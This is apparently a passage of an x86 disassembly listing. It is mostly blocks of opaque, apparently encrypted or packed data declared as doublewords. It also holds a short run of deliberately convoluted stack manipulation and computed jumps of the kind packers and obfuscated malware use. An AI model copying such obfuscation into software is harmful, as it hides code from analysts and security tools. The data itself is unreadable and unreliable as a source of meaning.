		dd 19514EE7h, 0BBh, 0EAC21A40h,	0E7DF4156h, 742C703Ch
		dd 7F846B7Eh, 9B3631E2h, 727F9817h, 8702E2B0h, 727F9792h
		dd 0B4114D3Ch, 0ECC75A29h, 92AFC865h, 930621E1h, 26CE639Ch
		dd 0FC929B44h, 0F94B7C69h, 7Bh,	84F5E57Dh, 0FA566CAEh
		dd 87229D0Ch, 702697A4h, 43D27561h, 0EB112857h,	36E93235h
		dd 977A6033h, 0F6BBFDCAh, 0AD755003h, 2A727E97h, 2F54BF78h
		dd 95E04F12h, 4172E884h, 579D79Bh, 0BE0D5974h, 0A78A784Fh
		dd 9813C158h, 3F3746BDh, 25C9548Eh, 39667DEBh, 0BEE4388Eh
		dd 773E3A6Ah, 0EF7D7108h, 69480034h, 4FF9395Ah,	0DE8CDE78h
		dd 1000840Bh, 0D5877E21h, 5CD07D2h, 19290000h, 9353EC0Ah
		dd 2A6616C9h, 0ED93AECBh, 17BA4D1Ch, 6CAE8506h,	0A520D381h
		dd 727F9BD9h, 45402C7Eh, 727F9C54h, 4994CFAh, 98BBD229h
		dd 7CF7FF9Fh, 595E44Bh,	0CE250000h, 9ED498B5h, 1C8A2376h
		dd 31E2900Dh, 1097F66Bh, 0E4B7BA38h, 0A35CEF09h, 7FAA1058h
		dd 0B8E5B772h, 44DB1B5Dh, 0A220781Ch, 0FFDCF0DFh, 297B2215h
		dd 0DBD7B145h, 0FB1F4716h, 0F4E1ACCEh, 932215FCh, 0A91D9BC1h
		dd 0B3078EB1h, 5427EA2Ch, 306EFD79h, 51A35649h,	9A6F1DF5h
		dd 52FD93CBh, 9302E329h, 19D56292h, 6F959043h, 8AF0DBDCh
		dd 370616F1h, 0E58F340Ch, 81084h, 57E41C00h, 6CFF7954h
		dd 415604Bh, 122F48A3h,	3449B299h, 2B6308F3h, 117CBFD2h
		dd 7E5556E5h, 5AB16A03h, 14AC0F20h, 2A5D7E55h, 2DFA66D7h
		dd 2C3F4507h, 16078A5Dh, 0B16CAE85h, 953430E3h,	84CECFC2h
		dd 9EE46CAEh, 877BE18Dh, 2E6A2AD5h, 56E2A1B0h, 0F1727FA6h
		dd 2853DEA3h, 94ED4011h, 4C77F5F9h, 1FF9006Bh, 0C39955E4h
		dd 0B2A8511Dh, 83022DA6h, 6F56097Fh, 727FFB6Eh,	52E91518h
		dd 0B355AA1h, 0CC237280h, 0D7E59EB3h, 0A5740579h, 7690354Eh
		dd 274896A2h, 34B6BE6Ch, 47F8800Bh, 0CD9F7851h,	47736421h
		dd 0AD1D7851h, 4725B97Ah, 220245ABh, 26000000h,	6B7E742Ch
		dd 3DE67B84h, 6E949B2Ah, 112A50DDh, 0E9D48F5Dh,	727F8635h
		dd 0FDEC80D2h, 2Fh, 7E742CB7h, 66F736Bh, 9A3A88DBh, 0D05FEEF9h
		dd 0E1EC97A4h, 727EF569h, 51EA101Fh, 0A414CF9Dh, 0F70CE3F6h
		dd 2FD08A5Ah, 50A98445h, 451A023Dh, 1629533Fh, 5BBF6760h
		dd 5A0AEF47h, 6F803h, 0BFCC3400h, 54E7117Ch, 6CFD7853h
		dd 7A17604Bh, 1C314AA1h, 0C37B209Bh, 2904A7BAh,	167DBECDh
		dd 725952EBh, 0CB47708h, 2945567Dh, 15C266D7h, 7E742C1Fh
		dd 99A8246Bh, 7D2F727Fh, 1C65C871h, 0ADD75E01h,	913CCF92h
		dd 727F9984h, 0DAE5103h, 0CAD41286h, 0A61C7199h, 95094705h
		dd 44C79EC4h, 81126955h, 0C840BDEh, 8B9F9C84h, 1D7908D9h
		dd 8916E91h, 3627AE6Dh,	0D19F9BE2h, 2914D083h, 4C7BBCCFh
		dd 0CAC52616h, 7728E334h, 8FE80B45h, 7EE1F2D1h,	34669F9Ch
		dd 0BAD52F06h, 32CEC594h, 0D5A56DA9h, 0ADA2EF87h, 23A56DA8h
		dd 0EB8340E7h, 0C8188EEAh, 16Ah, 1742C6Ch, 0A38E66F5h
		dd 0BF2DC158h, 0BB16DB89h, 727F990Bh, 0C35AA18Ch, 8EF4511Dh
		dd 578F3AFDh, 0C51CD972h, 8F02D725h, 727FC58Eh,	0FDB85B09h
		dd 0BDF8F487h, 99CB001Dh, 915DEC17h, 303C4DB4h,	891ACD5h
		dd 19D167BEh, 43B978AFh, 5EA48F28h, 0F46421CDh,	0AAC11639h
		dd 999409DCh, 4725C964h, 0D06B919Ch, 27BAA0D7h,	2D248DF6h
		dd 3842E98Ah, 0A2DF5227h, 4667CC07h, 0E795798Fh, 9A89303Ch
		dd 0B822C25Bh, 0FDF18CF5h, 0C980B46Fh, 313D4AAAh, 0C2470DABh
		dd 4CE9FA3Fh, 0F7C4CB9Eh, 61C115C3h, 38DB7482h,	2CFF82D0h
		dd 2EA7B6C1h, 0C115C42Dh, 0F52E70AAh, 64A7501Eh, 0E87FFFB6h
		dd 0AAE6E637h, 52122D4Bh, 2AF7E4ABh, 0C290C116h, 349B6E1Ch
		dd 0C6E73F70h, 4CA94517h, 0E1F5A36h, 0C5285F58h, 1ECCA0BBh
		dd 0ABC43E65h, 3FF5FEBBh, 18ABC6E7h, 905CEF15h,	4E9929CAh
		dd 0D9D26D97h, 3B78E352h, 0F1EDA03Bh, 8AA5DF36h, 1F6EDFDAh
		dd 3B44C183h, 10BF4E26h, 0C1831F03h, 205FD684h,	1E76672Ah
		dd 4311C183h, 5731D19Dh, 14275190h, 0E93C8A66h,	0EDEEA574h
		dd 6AC1831Eh, 0D14EF7B0h, 0EE9CBE76h, 7B146E35h, 1C2F55A0h
		dd 8499E64Dh, 9B4172E8h, 740579D7h, 54833559h, 0F180D2C7h
		dd 0EA140472h, 3FF0A351h, 6428h, 742C0400h
		dd 51736B7Eh, 440135A8h, 0ECA3A659h, 727F3338h,	0A1B8C32Eh
		dd 0A4481AFEh, 5D2C3FB9h, 3316078Ah, 0E3B1727Fh, 32A2B31Eh
		dd 7725727Fh, 0F5F76B4Ch, 6B8AC7A5h, 0B8497F12h, 6A6B26E9h
		dd 0ED727F39h, 243984BFh, 0A3727F39h, 0F20DE0F1h, 39485578h
		dd 9DCF727Fh, 0BA6507EFh, 0A3DE5574h, 5F00DA8Ah, 0ED0A19D5h
		dd 95BBD62Fh, 263943EAh, 6A89C785h, 0F4767E0Fh,	0C13C33C6h
		dd 0F826C4A8h, 768DF1ABh, 0ACBB6452h, 0DC104A1Dh, 0EA1B0C03h
		dd 0B813008Dh, 0E6B46CADh, 0D32AD63Dh, 0D15C727Eh, 0EAEE91ACh
		dd 0CFB0DD30h, 0FE830597h, 7F3DC2D3h, 61174572h, 0C79D6A90h
		dd 0B6BED32Ch, 8DE98E34h, 922524DFh, 16C9609Fh,	9465F40Fh
		dd 27CF5E99h, 32199A45h, 10A3B6C7h, 7E9CA0BDh, 0DE6F8A72h
		dd 26745416h, 5BD6777Dh, 84660E21h, 405F39DBh, 8D3E671Ah
		dd 0EBDA7DF4h, 727EF6EAh, 0F724319Ch, 0F1A3727Eh, 0CC9D4311h
		dd 501839C1h, 0E08CDE78h, 5027B4A5h, 0C5B99778h, 51E19934h
		dd 98977E21h, 0A414CF5Ch, 0F50CE3F6h, 21D28864h, 0DCF3823Bh
		dd 7E2151BFh, 799A2958h, 1E7E2151h, 68979E4Ch, 0B2A72ED1h
		dd 5C7E2151h, 0E6F83BEAh, 0C33FDB3Dh, 27h, 0ED0A1967h
		dd 67CE9C50h, 0FE6C0017h, 655937C5h, 86653994h,	93E2727Fh
		dd 7F861F3Ch, 0C4EAB872h, 2A3128h, 2C730000h, 0D86B7E74h
		dd 0AE84E8F5h, 703D6F6Ch, 0EE7C7009h, 0F39F3235h, 65727F94h
		dd 5CA5738Eh, 895313C1h, 0B5CFE2D6h, 1CF8F49Ah,	0AB2C3F45h
		dd 0EF475C75h, 262930DCh, 6000003h, 634A6DFAh, 4AA17A15h
		dd 0B299122Bh, 0A48F2845h, 12E9C25Fh, 55E81D4Dh, 6CFB7B52h
		dd 19604Bh, 25364CA7h, 602FFE82h, 66D72573h, 4569C314h
		dd 0E5402C3Fh, 0F483F39Fh, 0A9E7E5C6h, 0D9692435h, 7E727F9Bh
		dd 5445402Ch, 5E727F9Ch, 0FF5A0A23h, 1B06EE81h,	3BA14DDCh
		dd 1CD510E6h, 31984EE3h, 38CB4E99h, 7F9B8895h, 0A25D0F72h
		dd 7CF7E5F9h, 913CCF4Bh, 727FA384h, 0B9CE2E03h,	5A1CE88Bh
		dd 10000000h, 50ED0A19h, 3FB3EDAFh, 68949B2Ah, 0D1A520D3h
		dd 87727F96h, 23D4EA8h,	0C35E9BB6h, 0DB8BB923h,	7F96B9DEh
		dd 0EA85F372h, 4EE11FFAh, 1469C4A6h, 8A1C7579h,	5AECE55Bh
		dd 22EC168Bh, 0A7254285h, 63FC7A2Bh, 0F7D7F7B0h, 0EDC4B7Ch
		dd 0D000001h, 7ECD50D1h, 0FBA49350h, 533F45B1h,	8D61172Ah
		dd 694E5BA0h, 6AAE5711h, 839AE548h, 0C0D60CDDh,	0D897EC36h
		dd 0F992EC41h, 0A04C77F5h, 402C3F45h, 2B8C9FE5h, 0AE7E4E60h
		dd 0D1E646Ch, 263943AAh, 45B0BF4Eh, 0F490B34h, 7E001DB0h
		dd 0D5876CAEh, 877F5227h, 727F8Eh, 0D1FC8F52h, 727F8EC4h
		dd 7E9F3243h, 19727F8Eh, 0F9D4A54Bh, 727F8EDCh,	0A576297Bh
		dd 0C32CE812h, 27CF629Bh, 1B311F45h, 9EFA9A45h,	91725120h
		dd 3678540Bh, 0C4B4847h, 9ECC7854h, 0F10A19E8h,	0C43507Fh
		dd 96C47854h, 0E91211E0h, 7F0AAB54h, 0DAF45807h, 0CFF05A5Ch
		dd 89021F64h, 0E3A1E491h, 920D5CF0h, 92000001h,	0FFD6D166h
		dd 0E6CDEE81h, 0CE258697h, 301B9CB1h, 8E75B6CBh, 3954A9E1h
		dd 0D06797FEh, 0F485FCD7h, 89A2D833h, 0FCD3922Eh, 66D723DFh
		dd 4585AF78h, 0A38A2D40h, 0CB33C659h, 0D482EF18h, 0F627D8A8h
		dd 6D6D9BC3h, 0EAB21D89h, 12CDF38Ch, 7E742C0Ah,	9750246Bh
		dd 0A5F7727Fh, 92459D4h, 10DC8765h, 7F968495h, 69BC0A72h
		dd 7CF814AAh, 0B0114Bh,	19150000h, 7FD7F00Ah, 88301345h
		dd 0A8F3AC52h, 0C5283952h, 1FCDA1BCh, 689D7864h, 8D6019D5h
		dd 6D6E5271h, 13867D1Ah, 5FA4816Dh, 8AB822C2h, 0B6CCE2E9h
		dd 9CE66CADh, 0BF73BB0Bh, 5A08C83Eh, 7F106A41h,	29A5E377h
		dd 23917558h, 6436727Fh, 4B470143h, 0E3045C86h,	23D6999Ch
		dd 0A5A6970h, 8D785252h, 0DE270ADFh, 0F80D6843h, 8EF26265h
		dd 8123E3A3h, 0A858h, 0EF7C8400h, 8497E1CCh, 9CADC823h
		dd 0AAC7301Bh, 4CE11A71h, 93CB906Bh, 0F9D4D76Ah, 0E6CDEE7Dh
		dd 0C229829Bh, 7C04A7B8h, 22F5E6ADh, 459266D7h,	2D4045EFh
		dd 0C659A38Ah, 3F458FE5h, 9FE5402Ch, 0EFA92B8Ch, 8FA3EEF3h
		dd 87285DBh, 55AF8A5Ah,	0DBA9AA19h, 7C2E7285h, 0FC066D4Eh
		dd 4E068363h, 21D2EAD3h, 3B4180A7h, 56AC8720h, 0B3CC29C5h
		dd 1D64CB9Eh, 0D373602Fh, 4614D2EAh, 8C05EF90h,	530D76FDh
		dd 0EAD45F7Ch, 84AAF8D2h, 0E51CCBDBh, 2AFD8C9Fh, 0EAD37667h
		dd 904311D2h, 0BDCE341Fh, 3A8B1h, 0B840000h, 2E3D4519h
		dd 8EA1DB46h, 69007BE6h, 0CF5C9885h, 0ACC13A27h, 0D2065C0h
		dd 0E67B8461h, 45D4230Eh, 19324CA9h, 8956B255h,	4C681E6h
		dd 81000000h, 4EEh, 24348700h, 243C895Ch, 5E08950h, 4
		dd 42Dh, 24048700h, 2434895Ch, 5E08950h, 4, 8704E883h
		dd 895C2404h, 30682404h, 8B05D757h, 0C4832434h,	48B5404h
		dd 4C48324h, 23E368h, 241C8900h, 8BBh, 89C30100h, 48B5B33h
		dd 0E0895024h, 405h, 40500h, 4870000h, 34FF5C24h, 0C4815E24h
		dd 4, 0FA182AE9h, 5DA0D3FFh, 0C17E39C6h, 6EC042h, 0D7638EB8h
		dd 0FFC50305h, 7C2067E0h, 8A1A1431h, 0D25DA82Bh, 0D398A929h
		dd 0DB7235Ch, 2CAC6E5Ah, 0E462A109h, 0A504EB73h, 0E915320Bh
		dd 552h, 415AF109h, 0B8730C6Ah,	900B225Dh, 86213C45h, 0E03B56AFh
		dd 0DF245605h, 0F2026942h, 106B4265h, 2D57BE79h, 26E79912h
		dd 0D7216A6Bh, 723AED66h, 402C3F45h, 87F2A0E5h,	0BE6CFEF6h
		dd 53EC167Dh, 0BB4CB693h, 0CF78C59Eh, 7373216Ch, 1FD76896h
		dd 43D61177h, 94001DB0h, 0D5876CADh, 66F9032Ah,	0D0CDC093h
		dd 776CAD93h, 52B97A25h, 0BE951627h, 0DF3A2A43h, 0EDE4889Fh
		dd 0F00BCA1Dh, 0D775E59h, 74806F72h, 89303CE7h,	7197516Dh
		dd 24528E74h, 214EEA86h, 616C17C1h, 6CAE7771h, 8316D1A1h
		dd 1AC556ACh, 4E177D11h, 4F7A51h, 45FE0000h, 45402C3Fh
		dd 6CAE8556h, 0AC31F446h, 0CE65E2B6h, 0E41345F8h, 0B3FCA755h
		dd 514EE11Bh, 918h, 97E24100h, 3E51AF86h, 3B451F05h, 64081F5Fh
		dd 311CD086h, 5DB8B4C7h, 0BD650924h, 9BE51CCBh,	699082FFh
		dd 0BB7C22D0h, 96112A50h, 2D4045BEh, 0EFABD15Ch, 5ED78594h
		dd 85670F20h, 0C93712DAh, 2A53BEB6h, 0E3AE5F17h, 6CAE84F2h
		dd 156EC795h, 8363FE07h, 523B2BD9h, 0FCFF41E4h,	0F0A0114Dh
		dd 0F72D40B9h, 21D2DAF8h, 768F46E1h, 8FF5C0DBh,	0FB06EDFCh
		dd 4EABB162h, 0EB561E2Fh, 0BF6FE91h, 0E0975FF2h, 0E8E1578Eh
		dd 1F12875Eh, 92D4BE6h,	47F339ADh, 7979043h, 0CC514EFEh
		dd 8Ch,	2D404560h, 8099E441h, 80872F1h,	0CB915DEEh, 97727A25h
		dd 311CD067h, 0C9B8B4C7h, 5810A641h, 2D3ABAA9h,	8D61FA00h
		dd 43E224DFh, 0C3E47982h, 0F6FE93E8h, 8E53EE0Bh, 8D30E354h
		dd 0AD56B268h, 0D1A5AC7h, 0EC7D8461h, 0C81F6F00h, 9458F309h
		dd 61A920D6h, 0E2810DC6h, 134B514Eh, 0A36D0BB9h, 0F82D4B92h
		dd 2A742E29h, 4D657F20h, 0F9000000h, 412D4045h,	0E08C9DE4h
		dd 0D6BC689h, 0CCAC68FAh, 0A54B4FE1h, 0C4FD28FAh, 2309A2BFh
		dd 71EB0A19h, 0AE854152h, 0E694C66Ch, 7708763Dh, 0DF728F62h
		dd 5D7D3824h, 4D6CAE85h, 0D5E92AFDh, 0DF514E0Ah, 5A0A2750h
		dd 105DF80h, 19000000h,	43233A45h, 0E3839CE6h, 10D11492h
		dd 115354E5h, 0BBB6BB37h, 6970233Eh, 9BB817A6h
		dd 3C6CAE84h, 324EB56Eh, 0D5727F90h, 0F802EF87h, 13694467h
		dd 0EBA66978h, 727F8FEAh, 58043F6Dh, 7F903E5Dh,	7D0E7472h
		dd 0DC6D9471h, 0B2C93510h, 525C8B7Fh, 65D735B1h, 0DED381CAh
		dd 0FE04BD68h, 6C3F4A6Dh, 7FFF3421h, 0DE81D372h, 52122D57h
		dd 0F2F28DF7h, 7BBA6D5Dh, 644D6E01h, 4B7C904Ah,	1532Fh
		dd 742CC300h, 9D86B7Eh,	0AE8499BAh, 404F3E6Ch, 6CAE8553h
		dd 0CFF0A6F4h, 7F9AACC4h, 0F9062B72h, 2CD28864h, 8C9FE540h
		dd 0A1BAC02Bh, 46C63CCDh, 0DD994A2Bh, 0C9FF8CE8h, 5AF50F16h
		dd 5295E58Ah, 71460CFh,	0DD47FD6Fh, 0A618D1FDh,	0E41E053Eh
		dd 0D8F7864Bh, 727FD5BBh, 44550E5Ch, 7CB9536Bh,	64504Bh
		dd 2CD40000h, 59740579h, 6CAE858Ch, 46577A0Bh, 0C16CAE86h
		dd 111CED93h, 0C29854E7h, 4D4E4B11h, 676CAE86h,	806D0118h
		dd 220FE774h, 33A945D2h, 20965137h, 374DA0B7h, 97ED4824h
		dd 4C72E884h, 74D41393h, 0F1DCAD21h, 6CAE8634h,	9EB1CF22h
		dd 0DE1914D6h, 1AC5A74Fh, 0D56493BEh, 1A9D4319h, 8BCFh
		dd 742C6100h, 0EC246B7Eh, 6B727F98h, 42223B46h,	8E7EA98h
		dd 44D922EEh, 530C32A8h, 0C556AC89h, 0DE718BE2h, 99858B16h
		dd 5723727Fh, 0D7260D90h, 33CAE46h, 6E49E218h, 0ADBC326Eh
		dd 56FE34E6h, 0ED81D378h, 9061FA00h, 6457306Ah,	83BCD67Ch
		dd 16D9E8D9h, 57059ABBh, 0B46F3D78h, 3D1BB372h,	0BBABC43Eh
		dd 58E8F02h, 5B097857h,	7FF287B5h, 56474A00h, 0F1785706h
		dd 7C2FDA3h, 2E69CA88h,	9C1F4D7Eh, 63FC06EDh, 7E26D983h
		dd 0F601742Ch, 0BAA0B167h, 7EC32Bh, 0BFE5876Fh,	6F109E46h
		dd 23673598h, 0B2E07285h, 0B8B3B7AFh, 64FE521Fh, 0E29DB0C9h
		dd 96EC43FAh, 4073E985h, 0FD8C9FE5h, 4D760776h,	60FB016Ch
		dd 0E62E018Ch, 4741836Ah, 1B61A0h, 25364CA7h, 0FE93EC49h
		dd 687558EBh, 0EF836AE6h, 0EBDA82BDh, 0DE55C81Fh, 0F3E0AFA1h
		dd 94836AE5h, 8E5C10C6h, 64344ED5h, 0FC6E061Bh,	7C86EDCEh
		dd 7A03E3h, 0A5030E09h,	0D3762952h, 3, 45190B5Dh, 0DB462E3Dh
		dd 7BE68EA1h, 98856900h, 3A27CF5Ch, 65C0ACC1h, 84610D20h
		dd 230EE67Bh, 4CA945D4h, 0B2551932h, 4EC81h, 2C890000h
		dd 81E58924h, 4C5h, 4ED8300h, 5C242C87h, 6CE068h, 243C8900h
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 51242C89h, 5718D468h
		dd 0C1815905h, 7A7E01C8h, 4FE98149h, 8979FDB6h,	240C8BCFh
		dd 4C481h, 8B540000h, 0C483242Ch, 3FF96804h, 3C890000h
		dd 24048124h, 6161174Dh, 8108458Fh, 174D086Dh, 2C8B6161h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 243C8B5Ch
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFA129Fh
		dd 0FCB86CC0h, 305D768h, 9FE0FFC5h, 4F442E9Eh, 6D2055F9h
		dd 0D1154FABh, 0AE4758B1h, 0EB3620A2h, 13729204h, 529E965h
		dd 77830000h, 92ECC7E0h, 0A8D73EF9h, 0C23F1691h, 0DC210CAFh
		dd 0D09F6641h, 0EFC8659Eh, 0C8E37884h, 248796EDh, 1F98B3C9h
		dd 0F0EDA061h, 9766D71Bh, 3F45F440h, 0A0E5402Ch, 0B9C32A8Dh
		dd 0E18DA0D9h, 0B3CC2A7Bh, 771FC8Dh, 44A14B74h,	0E4412D3Eh
		dd 0A82B099Ah, 9423EA13h, 60660EE6h, 65F60CC5h,	0C9649994h
		dd 53AE8516h, 6F8AE13Ah, 0CB2B16DEh, 49C1B0BCh,	0D1C679Eh
		dd 263943AAh, 75072B53h, 70380E33h, 0F818A54Fh,	326CADF3h
		dd 91493EC7h, 10377697h, 5CA78262h, 3C8E21CDh, 72C457E9h
		dd 0B3C32EB3h, 0E589A0DBh, 0CF9D5107h, 0DD730B14h, 6A70514Eh
		dd 0F4000000h, 402C3F45h, 0AE855645h, 31F4466Ch, 0A5B61DACh
		dd 226CAE84h, 855F7C53h, 0AAF86CAEh, 3C52DB84h,	39514E0Ah
		dd 1, 0F00A193Dh, 94A9D65Fh, 253640EBh,	0F992EC49h, 52EF08F5h
		dd 3148B792h, 97A4D03Dh, 0AF76C8DFh, 0C0676109h, 16078A5Dh
		dd 0B16CAE85h, 0B7530E3h, 0F3DE6170h, 6CAE84E2h, 0AB0C3765h
		dd 86213A40h, 2D4045AEh, 819AE441h, 0AD784AEDh,	0B9720F74h
		dd 44D3230Eh, 0F26A909Bh, 0AE84BEDFh, 0F28FF46Ch, 3A6868F2h
		dd 1FB24514h, 6CAE84FEh, 0A6D624C3h, 0E8E836ACh, 2D1BB732h
		dd 4E7CFB4Eh, 0BD0714BBh, 0D2806CADh, 9FDE3B21h, 40B7CC06h
		dd 8F523AD2h, 0AE281300h, 30E6B46Ch, 9AB3C221h,	856F10CAh
		dd 99E64D3Ch, 4172E884h, 616DA641h, 2B514E69h, 0C0ACBDC4h
		dd 63031A65h, 5C28CBF9h, 6Bh, 2D4045D0h, 8099E441h, 0A34244ECh
		dd 0ABC6333Eh, 1ED7AFAh, 88FDB85Bh, 16DE6F8Ah, 2E05A654h
		dd 49B4B8D5h, 0BD4C1D30h, 0AE850516h, 2FD0826Ch, 260D7C45h
		dd 3FAD41D6h, 6260EC81h, 7B242CD8h, 37477CABh, 1C514F07h
		dd 36h,	2D404510h, 8C9DE441h, 700D76FDh, 8534A54Fh, 2EED9059h
		dd 7D26C972h, 42BB7AADh, 45A08C2Fh, 414C203Bh, 6CAE8551h
		dd 0FD36F141h, 514E0AE1h, 1C6h,	3A455A00h, 9CE64323h, 0F706E383h
		dd 54A38E66h, 84AAABE6h, 7F2D6CAEh, 5A2CA549h, 1AEC358Bh
		dd 52EB0ACBh, 413D1B59h, 0F902E1B0h, 58AD8864h,	8DB329C5h
		dd 8FCFEBD2h, 1A48727Fh, 8595EF4Ah, 0F833E17Ch,	902A95C1h
		dd 95ABBEC8h, 7F941D3Eh, 3AE8BA72h, 57E81219h, 93FF129Fh
		dd 0D1B9727Fh, 8AA5DF16h, 8A9A9FC7h, 29D66FA4h,	344EA576h
		dd 0C0889538h, 5D0F727Fh, 205AC7AFh, 0FEB0670Fh, 0FB94EE27h
		dd 69007BF6h, 1F7DAB33h, 6F103E86h, 0C749654Eh,	0CC234B7Ch
		dd 16D498B1h, 130976Dh,	2C8B0000h, 246B7E74h, 727F9B0Ch
		dd 8D8DF77Ah, 5208E477h, 0E92C0ACh, 3E863A00h, 588E34DAh
		dd 0D906C4EAh, 0A17B5D06h, 0F02BD3E3h, 0F0DFA253h, 727F87E3h
		dd 71003664h, 45E885F2h, 9943233Ah, 0E913FEE6h,	0CF225556h
		dd 68D599B0h, 0EA707C0Dh, 0EA101BC4h, 4AB09D51h, 289A3D31h
		dd 709598FDh, 17B22DDh,	8798E64Dh, 7F880D0Eh, 2AD88A72h
		dd 29AA3F27h, 38F8E074h, 21BD9607h, 64B7C99h, 4Ah, 5792C1Ah
		dd 0EB82F974h, 0ABBE61FBh, 597A4918h, 0FE6CAE85h, 5B08F3ACh
		dd 0FC6CAE85h, 0DAFBC6AEh, 6A6CAE84h, 0E8BD0DD8h, 7EFFE7EAh
		dd 611FC091h, 246B7E21h, 6CAE1F87h, 842685F1h, 8849E02Ch
		dd 78B3E1D7h, 65E1h, 742C4300h,	55D86B7Eh, 88521229h, 98A4ECD7h
		dd 5FD2727Fh, 8664081Fh, 0D8A9FBDDh, 53132A55h,	230ED689h
		dd 0E6546D9h, 0E8B5BF4h, 727F9A08h, 0D40DD8AEh,	5A1A9DAEh
		dd 0D2F180FEh, 7857037Ah, 0BAA74F1Dh, 4E472F40h, 0C39D2DF8h
		dd 246B3ACFh, 78570437h, 16D182D0h, 2E6D53BBh, 0A4D9F47Eh
		dd 5107E589h, 742C7E56h, 9D86B7Eh, 0AE8499BAh, 0B36C3E6Ch
		dd 85EF0448h, 1DD18372h, 0B4CECA30h, 0DB32F59Bh, 0F5E6ADA1h
		dd 927285EEh, 0AB5212C0h, 43233844h, 0A8688211h, 67152F5Bh
		dd 61DE51BCh, 3791D34Ah, 93CB31F0h, 4A621F3Ch, 597A49D3h
		dd 0FED34A62h, 487E2CACh, 3A89586Fh, 0D34A6219h, 6833ECBEh
		dd 19205A12h, 0A82BD39Eh, 0F6DDFED7h, 287AD349h, 82F8777Ah
		dd 9F2E36E9h, 0F6D4C1CCh, 2173D349h, 0B7CA377Eh, 1F324FA2h
		dd 81097864h, 3A55AF66h, 0DF708AE1h, 7CFB7617h,	39732EDh
		dd 99000000h, 3D45190Bh, 0A1DB462Eh, 7BE68Eh, 5C988569h
		dd 0C13A27CFh, 2065C0ACh, 7B84610Dh, 0D4230EE6h, 324CA945h
		dd 53B25519h, 0C381E389h, 4, 5304EB83h,	42474FFh, 24048F5Bh
		dd 53CF685Ch
		dd 4890000h, 519A6824h,	1C890000h, 5B93B824h, 0BB5333D3h
		dd 0
; ---------------------------------------------------------------------------
		sub	ebx, eax
		mov	eax, ebx
		pop	ebx
		add	eax, 39AAC559h
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	ecx
		mov	ecx, eax
		mov	esi, ecx
		pop	ecx
		mov	[ebx+8], esi
		pop	esi
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		sal	esi, 1
		mov	eax, 5D76E7Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 795E59AEh, 3963E261h, 58A049F5h, 5036F97h, 221E59C7h
		dd 0FFA204EBh, 82E96DD6h, 52000005h, 0BF961126h, 0A68D2E41h
		dd 8EE5C657h, 0F0DBDC71h, 4E35F68Bh, 79146921h,	102757BEh
		dd 3445BC97h, 0C96298F3h, 0BC13D2EEh, 66D7159Fh, 4545EF38h
		dd 1524533Fh, 57A28359h, 0E24110C6h, 17DD8697h,	0EBE8A776h
		dd 0C16CAE84h, 12C8A4B7h, 6833ECBEh, 56BD7E13h,	0F653132Ch
		dd 275DD08Ch, 849CB914h, 693B6CAEh, 0E812ABBBh,	63FC85BCh
		dd 0A38AB57Fh, 8A2A3A55h, 0D228E93Ch, 2826379Ah, 0F3A16CAEh
		dd 7883EACDh, 94EFC6E1h, 448EF485h, 0F4B538A5h,	0C459A68Fh
		dd 0DB81B228h, 98AFCF22h, 0C66D16D4h, 0F4CDA1B6h, 772B372h
		dd 245EB576h, 3A5E5B0Bh, 6A6CAE67h, 0F8964D98h,	0F0514E28h
		dd 7B56087Dh, 6CAE735Ah, 0F5F9AFFDh, 2E2F6277h,	0A96CAE73h
		dd 670CD8FBh, 20000000h, 5D2C3F45h, 0EC97A8D6h,	84968500h
		dd 34866CAEh, 0A9C32F1h, 199514Eh, 9D000000h, 51203B45h
		dd 8512038Eh, 98B56CAEh, 4918CE63h, 0AE85597Ah,	0F3ACFE6Ch
		dd 0D1F20CE9h, 1E793951h, 2EC6F469h, 4313B6C3h,	51EA10F4h
		dd 9CF3E22Bh, 0E8141BEEh, 1CC4A053h, 3CBA7BAAh,	0A8D35E23h
		dd 540FDD91h, 79126843h, 404556BEh, 223A49A5h, 0AE716E6Fh
		dd 1DBBE96Ch, 18CEE1C0h, 44BEB554h, 5C102954h, 7C27D88Eh
		dd 0D2856902h, 778C45E0h, 90EAC1DAh, 0EB0AF7FFh, 70139252h
		dd 0F1F1E2A1h, 0C4966CADh, 437C0F69h, 5F6FA443h, 24514E9Fh
		dd 9Ah,	0E404538h, 0AE849283h, 0B167356Ch, 0A1B211A0h
		dd 266CAE84h, 44A14B74h, 8E512039h, 0AE851203h,	3CE7B56Ch
		dd 0EF369030h, 0E178876Ah, 5418314Ch, 3D46ED96h, 0A2D25120h
		dd 0D503D995h, 0CE85B9EDh, 8213CC7Eh, 373F52ABh, 0C190ADCAh
		dd 8F82933Eh, 57056CADh, 8EC1C0ACh, 469D2E54h, 5B2E6E2Ah
		dd 0AE716774h, 81B2E06Ch, 0A12DE601h, 66514E20h, 4Fh, 0ED0A19FAh
		dd 15CE9C50h, 9458F50Eh, 363B52A9h, 3924BB3Bh, 664CFBE7h
		dd 6EFCF0A6h, 78CEAFB5h, 720F74ADh, 561953B9h, 0AE855A7Bh
		dd 86AFFD6Ch, 743FE07Dh, 307D710Ah, 6CAE8520h, 0AC67BE10h
		dd 514E0A12h, 617h, 0A1DB5600h,	194FD58Eh, 0D8838AFDh
		dd 0DB84AC6Ch, 98372550h, 6CAE4E7Bh, 0D4984E1Ch, 2E2F6235h
		dd 0A96CAE4Fh, 275DD8FBh, 0E1695814h, 0D9708F46h, 0CCC29EDEh
		dd 596A963Dh, 0BFED727Fh, 60304AB7h, 746E061Bh,	0D71F5735h
		dd 703DE302h, 0EF7D710Ah, 6D97FE39h, 736B12D2h,	0A61F3C2Bh
		dd 87D30D3h, 50434A75h,	5A727F51h, 8762021Bh, 0D0CDC07Eh
		dd 77727F50h, 0CE7F7725h, 7F50D2C3h, 44277572h,	0AC0DB372h
		dd 0C7960BDAh, 7F50CBC8h, 651E4C72h, 70ABC43Eh,	0A04CDF25h
		dd 5D2C3F45h, 0DE96A7D6h, 0E689530Ch, 6A905194h, 35394EAEh
		dd 0CD2681B7h, 4B7D3EB1h, 155B6h, 742CAA00h, 0C246B7Eh
		dd 8B727F9Bh, 0F97415D9h, 0D26D9783h, 7C9A4812h, 2AB447ECh
